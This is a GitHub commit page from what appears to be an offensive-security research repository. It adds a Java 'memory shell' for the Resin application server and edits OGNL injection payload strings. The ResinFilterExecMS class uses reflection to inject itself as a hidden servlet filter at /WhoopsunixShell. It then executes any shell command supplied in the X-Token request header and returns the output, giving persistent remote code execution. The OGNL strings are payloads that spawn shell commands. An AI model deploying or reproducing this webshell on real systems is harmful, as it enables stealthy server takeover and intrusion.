Skip to content

Commit 7ddfe4b

Browse files
committed
add resin servlet filter listener memshell :)
1 parent 78583da commit 7ddfe4b

11 files changed

Lines changed: 728 additions & 18 deletions

File tree

Expression/OGNLAttack/src/main/java/org/example/OGNL.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ public void getValueDemo(){
2828
String StreamUtilsPayload = "{(new java.lang.String(@org.springframework.util.StreamUtils@copyToByteArray(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream())))}";
2929

3030
// processBuilder形式构建
31-
String processBuilderPayload1 = "(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8'))";
31+
String processBuilderPayload1 = "(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8'))";
3232
String processBuilderPayload2 = "{(#iswin=(new java.lang.Boolean(\"true\")).booleanValue())?(#cmds=(new java.lang.String[]{\"cmd.exe\",\"/c\",\"ipconfig\"})):(#cmds=(new java.lang.String[]{\"/bin/bash\",\"-c\",\"ifconfig\"})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(new java.io.ByteArrayOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}";
3333

3434
/**

MemShell/ResinMemShell/pom.xml

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
3+
<groupId>org.example</groupId>
4+
<version>1.0-SNAPSHOT</version>
5+
<modelVersion>4.0.0</modelVersion>
6+
<artifactId>ResinMemShell</artifactId>
7+
<packaging>war</packaging>
8+
<name>ResinMemShell</name>
9+
10+
11+
<dependencies>
12+
<dependency>
13+
<groupId>com.caucho</groupId>
14+
<artifactId>resin</artifactId>
15+
<version>4.0.66</version>
16+
</dependency>
17+
18+
<dependency>
19+
<groupId>org.apache.commons</groupId>
20+
<artifactId>commons-collections4</artifactId>
21+
<version>4.0</version>
22+
</dependency>
23+
24+
<dependency>
25+
<groupId>me.gv7.tools</groupId>
26+
<artifactId>java-object-searcher</artifactId>
27+
<version>0.1.0</version>
28+
</dependency>
29+
30+
<dependency>
31+
<groupId>org.tools</groupId>
32+
<artifactId>Utils</artifactId>
33+
<version>1.0-SNAPSHOT</version>
34+
</dependency>
35+
</dependencies>
36+
37+
38+
<!-- <build>-->
39+
<!-- <resources>-->
40+
<!-- <resource>-->
41+
<!-- <directory>src/main/java</directory>-->
42+
<!-- <includes>-->
43+
<!-- <include>**/*.properties</include>-->
44+
<!-- <include>**/*.xml</include>-->
45+
<!-- </includes>-->
46+
<!-- </resource>-->
47+
<!-- <resource>-->
48+
<!-- <directory>src/main/resources</directory>-->
49+
<!-- <includes>-->
50+
<!-- <include>**/*.properties</include>-->
51+
<!-- <include>**/*.xml</include>-->
52+
<!-- </includes>-->
53+
<!-- <filtering>false</filtering>-->
54+
<!-- </resource>-->
55+
<!-- </resources>-->
56+
<!-- <finalName>ResinEcho</finalName>-->
57+
<!-- </build>-->
58+
<build>
59+
<plugins>
60+
<plugin>
61+
<groupId>org.apache.maven.plugins</groupId>
62+
<artifactId>maven-compiler-plugin</artifactId>
63+
<version>3.8.1</version>
64+
<configuration>
65+
<source>1.8</source>
66+
<target>1.8</target>
67+
</configuration>
68+
</plugin>
69+
</plugins>
70+
</build>
71+
</project>
Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
package org.example.memshell;
2+
3+
import javax.servlet.*;
4+
import javax.servlet.http.HttpServletRequest;
5+
import java.io.InputStream;
6+
import java.io.PrintWriter;
7+
import java.lang.reflect.Field;
8+
import java.lang.reflect.Method;
9+
import java.util.HashMap;
10+
11+
/**
12+
* @author Whoopsunix
13+
*/
14+
public class ResinFilterExecMS implements Filter {
15+
private static String NAME = "Whoopsunix";
16+
private static String PATTERN = "/WhoopsunixShell";
17+
private static String HEADER = "X-Token";
18+
19+
20+
static {
21+
try {
22+
ResinFilterExecMS resinFilterExecMS = new ResinFilterExecMS();
23+
24+
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
25+
26+
for (int i = 0; i < threads.length; i++) {
27+
try {
28+
Class cls = threads[i].currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
29+
Object contextRequest = cls.getMethod("getContextRequest").invoke(null);
30+
Object webapp = contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
31+
if (webapp == null)
32+
continue;
33+
34+
if (isInject(webapp, resinFilterExecMS)) {
35+
break;
36+
}
37+
38+
inject(webapp, resinFilterExecMS);
39+
40+
} catch (Exception e) {
41+
42+
}
43+
}
44+
} catch (Exception e) {
45+
}
46+
}
47+
48+
public static boolean isInject(Object webapp, Object object) {
49+
try {
50+
51+
String NAME = (String) getFieldValue(object, "NAME");
52+
Object _filterManager = getFieldValue(webapp, "_filterManager");
53+
HashMap _filters = (HashMap) getFieldValue(_filterManager, "_filters");
54+
if (_filters.containsKey(NAME)) {
55+
return true;
56+
}
57+
HashMap _urlPatterns = (HashMap) getFieldValue(_filterManager, "_urlPatterns");
58+
if (_urlPatterns.containsKey(NAME)) {
59+
return true;
60+
}
61+
HashMap _instances = (HashMap) getFieldValue(_filterManager, "_instances");
62+
if (_instances.containsKey(NAME)) {
63+
return true;
64+
}
65+
66+
} catch (Exception e) {
67+
e.printStackTrace();
68+
}
69+
70+
return false;
71+
}
72+
73+
public static void inject(Object webapp, Object object) {
74+
try {
75+
String NAME = (String) getFieldValue(object, "NAME");
76+
String PATTERN = (String) getFieldValue(object, "PATTERN");
77+
78+
Object filterMapping = Class.forName("com.caucho.server.dispatch.FilterMapping").newInstance();
79+
invokeMethod(filterMapping, "setFilterClass", new Class[]{String.class}, new Object[]{object.getClass().getName()});
80+
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{NAME});
81+
82+
Object urlPattern = invokeMethod(filterMapping, "createUrlPattern", new Class[]{}, new Object[]{});
83+
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{PATTERN});
84+
invokeMethod(webapp, "addFilterMapping", new Class[]{Class.forName("com.caucho.server.dispatch.FilterMapping")}, new Object[]{filterMapping});
85+
86+
} catch (Exception e) {
87+
e.printStackTrace();
88+
}
89+
}
90+
91+
@Override
92+
public void init(FilterConfig filterConfig) throws ServletException {
93+
94+
}
95+
96+
@Override
97+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) {
98+
try {
99+
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
100+
String cmd = httpServletRequest.getHeader(HEADER);
101+
if (cmd == null) {
102+
return;
103+
}
104+
String result = exec(cmd);
105+
PrintWriter printWriter = servletResponse.getWriter();
106+
printWriter.println(result);
107+
} catch (Exception e) {
108+
109+
}
110+
111+
}
112+
113+
@Override
114+
public void destroy() {
115+
116+
}
117+
118+
public static String exec(String str) {
119+
try {
120+
String[] cmd = null;
121+
if (System.getProperty("os.name").toLowerCase().contains("win")) {
122+
cmd = new String[]{"cmd.exe", "/c", str};
123+
} else {
124+
cmd = new String[]{"/bin/sh", "-c", str};
125+
}
126+
if (cmd != null) {
127+
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
128+
String execresult = exec_result(inputStream);
129+
return execresult;
130+
}
131+
} catch (Exception e) {
132+
133+
}
134+
return "";
135+
}
136+
137+
public static String exec_result(InputStream inputStream) {
138+
try {
139+
byte[] bytes = new byte[1024];
140+
int len = 0;
141+
StringBuilder stringBuilder = new StringBuilder();
142+
while ((len = inputStream.read(bytes)) != -1) {
143+
stringBuilder.append(new String(bytes, 0, len));
144+
}
145+
return stringBuilder.toString();
146+
} catch (Exception e) {
147+
return "";
148+
}
149+
}
150+
151+
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
152+
Field field = getField(obj.getClass(), fieldName);
153+
return field.get(obj);
154+
}
155+
156+
public static Field getField(Class<?> clazz, String fieldName) {
157+
Field field = null;
158+
try {
159+
field = clazz.getDeclaredField(fieldName);
160+
field.setAccessible(true);
161+
} catch (NoSuchFieldException ex) {
162+
if (clazz.getSuperclass() != null)
163+
field = getField(clazz.getSuperclass(), fieldName);
164+
}
165+
return field;
166+
}
167+
168+
public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) {
169+
try {
170+
Method method;
171+
try {
172+
method = obj.getClass().getDeclaredMethod(methodName, argsClass);
173+
} catch (NoSuchMethodException e) {
174+
method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass);
175+
}
176+
method.setAccessible(true);
177+
Object object = method.invoke(obj, args);
178+
return object;
179+
} catch (Exception e) {
180+
e.printStackTrace();
181+
}
182+
return null;
183+
}
184+
}

0 commit comments

Comments
 (0)